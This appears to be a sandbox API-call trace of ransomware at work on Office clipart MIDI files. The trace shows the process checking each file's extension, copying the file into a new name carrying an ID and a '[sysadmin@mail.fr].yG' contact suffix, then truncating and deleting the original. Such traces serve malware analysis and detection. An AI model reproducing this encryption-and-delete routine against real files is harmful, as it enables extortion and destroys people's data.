	[0151.474] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.474] lstrlenW (lpString=".zip") returned 4
	[0151.474] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.474] lstrlenW (lpString=".rar") returned 4
	[0151.474] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.474] lstrlenW (lpString=".bz2") returned 4
	[0151.474] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.475] lstrlenW (lpString=".7z") returned 3
	[0151.475] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.475] lstrlenW (lpString=".dbf") returned 4
	[0151.475] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.475] lstrlenW (lpString=".1cd") returned 4
	[0151.475] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.475] lstrlenW (lpString=".jpg") returned 4
	[0151.475] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.475] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.475] lstrlenW (lpString="ROAD_01.MID") returned 11
	[0151.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0151.478] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=5983) returned 1
	[0151.478] CloseHandle (hObject=0x540) returned 1
	[0151.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220
	[0151.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0151.480] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.480] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0151.481] GetLastError () returned 0x0
	[0151.481] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x175f, lpOverlapped=0x0) returned 1
	[0151.712] WriteFile (in: hFile=0x544, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x1760, lpOverlapped=0x0) returned 1
	[0151.714] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.714] WriteFile (in: hFile=0x544, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xea, lpOverlapped=0x0) returned 1
	[0151.715] SetEndOfFile (hFile=0x544) returned 1
	[0151.807] CloseHandle (hObject=0x544) returned 1
	[0151.807] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.807] SetEndOfFile (hFile=0x540) returned 1
	[0151.809] CloseHandle (hObject=0x540) returned 1
	[0151.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1
	[0151.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.811] lstrlenW (lpString=".doc") returned 4
	[0151.811] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.811] lstrlenW (lpString=".docx") returned 5
	[0151.811] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.811] lstrlenW (lpString=".pdf") returned 4
	[0151.811] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.811] lstrlenW (lpString=".xls") returned 4
	[0151.811] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.811] lstrlenW (lpString=".xlsx") returned 5
	[0151.811] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.811] lstrlenW (lpString=".ppt") returned 4
	[0151.812] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.812] lstrlenW (lpString=".zip") returned 4
	[0151.812] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.812] lstrlenW (lpString=".rar") returned 4
	[0151.812] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.812] lstrlenW (lpString=".bz2") returned 4
	[0151.812] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.812] lstrlenW (lpString=".7z") returned 3
	[0151.812] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.812] lstrlenW (lpString=".dbf") returned 4
	[0151.812] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.812] lstrlenW (lpString=".1cd") returned 4
	[0151.812] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.812] lstrlenW (lpString=".jpg") returned 4
	[0151.812] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.813] lstrlenW (lpString=".doc") returned 4
	[0151.813] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.813] lstrlenW (lpString=".docx") returned 5
	[0151.813] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.813] lstrlenW (lpString=".pdf") returned 4
	[0151.813] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.813] lstrlenW (lpString=".xls") returned 4
	[0151.813] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.813] lstrlenW (lpString=".xlsx") returned 5
	[0151.813] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.813] lstrlenW (lpString=".ppt") returned 4
	[0151.813] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.813] lstrlenW (lpString=".zip") returned 4
	[0151.813] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.813] lstrlenW (lpString=".rar") returned 4
	[0151.813] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.813] lstrlenW (lpString=".bz2") returned 4
	[0151.813] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.813] lstrlenW (lpString=".7z") returned 3
	[0151.814] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.814] lstrlenW (lpString=".dbf") returned 4
	[0151.814] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.814] lstrlenW (lpString=".1cd") returned 4
	[0151.814] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0151.814] lstrlenW (lpString=".jpg") returned 4
	[0151.814] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.814] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.814] lstrlenW (lpString="SUMER_01.MID") returned 12
	[0151.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0151.831] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=14044) returned 1
	[0151.831] CloseHandle (hObject=0x540) returned 1
	[0151.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220
	[0151.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0151.832] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.832] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0151.833] GetLastError () returned 0x0
	[0151.833] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x36dc, lpOverlapped=0x0) returned 1
	[0151.851] WriteFile (in: hFile=0x544, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x36e0, lpOverlapped=0x0) returned 1
	[0151.853] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.853] WriteFile (in: hFile=0x544, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.853] SetEndOfFile (hFile=0x544) returned 1
	[0151.853] CloseHandle (hObject=0x544) returned 1
	[0151.853] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.853] SetEndOfFile (hFile=0x540) returned 1
	[0151.857] CloseHandle (hObject=0x540) returned 1
	[0151.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1
	[0151.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.858] lstrlenW (lpString=".doc") returned 4
	[0151.858] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.858] lstrlenW (lpString=".docx") returned 5
	[0151.858] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.858] lstrlenW (lpString=".pdf") returned 4
	[0151.858] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.858] lstrlenW (lpString=".xls") returned 4
	[0151.858] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.858] lstrlenW (lpString=".xlsx") returned 5
	[0151.859] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.859] lstrlenW (lpString=".ppt") returned 4
	[0151.859] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.859] lstrlenW (lpString=".zip") returned 4
	[0151.859] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.859] lstrlenW (lpString=".rar") returned 4
	[0151.859] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.859] lstrlenW (lpString=".bz2") returned 4
	[0151.859] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.859] lstrlenW (lpString=".7z") returned 3
	[0151.859] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.859] lstrlenW (lpString=".dbf") returned 4
	[0151.859] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.859] lstrlenW (lpString=".1cd") returned 4
	[0151.859] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.859] lstrlenW (lpString=".jpg") returned 4
	[0151.859] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.859] lstrlenW (lpString=".doc") returned 4
	[0151.859] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.859] lstrlenW (lpString=".docx") returned 5
	[0151.859] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.859] lstrlenW (lpString=".pdf") returned 4
	[0151.860] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.860] lstrlenW (lpString=".xls") returned 4
	[0151.860] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.860] lstrlenW (lpString=".xlsx") returned 5
	[0151.860] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.860] lstrlenW (lpString=".ppt") returned 4
	[0151.860] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.860] lstrlenW (lpString=".zip") returned 4
	[0151.860] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.860] lstrlenW (lpString=".rar") returned 4
	[0151.860] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.860] lstrlenW (lpString=".bz2") returned 4
	[0151.860] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.860] lstrlenW (lpString=".7z") returned 3
	[0151.860] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.860] lstrlenW (lpString=".dbf") returned 4
	[0151.860] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.860] lstrlenW (lpString=".1cd") returned 4
	[0151.860] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0151.861] lstrlenW (lpString=".jpg") returned 4
	[0151.861] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.861] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.861] lstrlenW (lpString="SWEST_01.MID") returned 12
	[0151.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0151.863] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=8501) returned 1
	[0151.863] CloseHandle (hObject=0x540) returned 1
	[0151.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220
	[0151.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0151.864] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.864] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0151.865] GetLastError () returned 0x0
	[0151.865] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2135, lpOverlapped=0x0) returned 1
	[0151.867] WriteFile (in: hFile=0x544, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2140, lpOverlapped=0x0) returned 1
	[0151.869] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.869] WriteFile (in: hFile=0x544, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.869] SetEndOfFile (hFile=0x544) returned 1
	[0151.869] CloseHandle (hObject=0x544) returned 1
	[0151.869] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.869] SetEndOfFile (hFile=0x540) returned 1
	[0151.873] CloseHandle (hObject=0x540) returned 1
	[0151.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1
	[0151.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0151.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0151.875] lstrlenW (lpString=".doc") returned 4
	[0151.875] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.875] lstrlenW (lpString=".docx") returned 5
	[0151.875] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.875] lstrlenW (lpString=".pdf") returned 4
	[0151.875] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.875] lstrlenW (lpString=".xls") returned 4
	[0151.875] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.875] lstrlenW (lpString=".xlsx") returned 5
	[0151.875] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.876] lstrlenW (lpString=".ppt") returned 4
	[0151.876] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0151.876] lstrlenW (lpString=".zip") returned 4
	[0151.876] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.876] lstrlenW (lpString=".rar") returned 4
	[0151.876] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.876] lstrlenW (lpString=".bz2") returned 4
	[0151.876] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.876] lstrlenW (lpString=".7z") returned 3
	[0151.876] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0151.876] lstrlenW (lpString=".dbf") returned 4
	[0151.876] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0151.876] lstrlenW (lpString=".1cd") returned 4
	[0151.876] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0151.876] lstrlenW (lpString=".jpg") returned 4
	[0151.876] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0151.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0151.877] lstrlenW (lpString=".doc") returned 4
	[0151.877] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.877] lstrlenW (lpString=".docx") returned 5
	[0151.877] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.877] lstrlenW (lpString=".pdf") returned 4
	[0151.877] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.877] lstrlenW (lpString=".xls") returned 4
	[0151.877] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.877] lstrlenW (lpString=".xlsx") returned 5
	[0151.877] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.877] lstrlenW (lpString=".ppt") returned 4
	[0151.877] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
